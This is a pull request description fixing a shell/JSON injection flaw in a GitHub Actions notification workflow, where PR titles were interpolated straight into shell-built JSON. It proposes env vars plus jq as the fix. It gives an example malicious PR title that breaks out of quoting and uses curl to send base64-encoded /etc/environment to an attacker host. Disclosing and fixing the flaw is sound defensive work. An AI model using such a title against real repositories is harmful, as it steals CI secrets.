fix(security): prevent shell/JSON injection via PR title in Chat notification workflow

[XananasX7]

Summary

The pr_notification.yml workflow uses PR title and labels with the pattern '"'"$TITLE"'"' inside a shell-constructed JSON string — a shell/JSON injection vector.

Vulnerability

TITLE: ${{ github.event.pull_request.title }}
...
"content": "'"$TITLE"'"  # ← directly interpolated in shell JSON

A PR with a title containing a single quote (') or other shell metacharacters can:

1. Break out of the JSON string, poisoning the webhook payload
2. Potentially execute arbitrary shell commands if the injection reaches a subshell expansion

Example malicious PR title: '; curl https://attacker.com/$(cat /etc/environment | base64); echo '

Fix

Extract all untrusted event values into env vars and build the JSON payload with jq, which properly escapes all special characters. This is the standard safe pattern for constructing JSON payloads from untrusted input in shell scripts.

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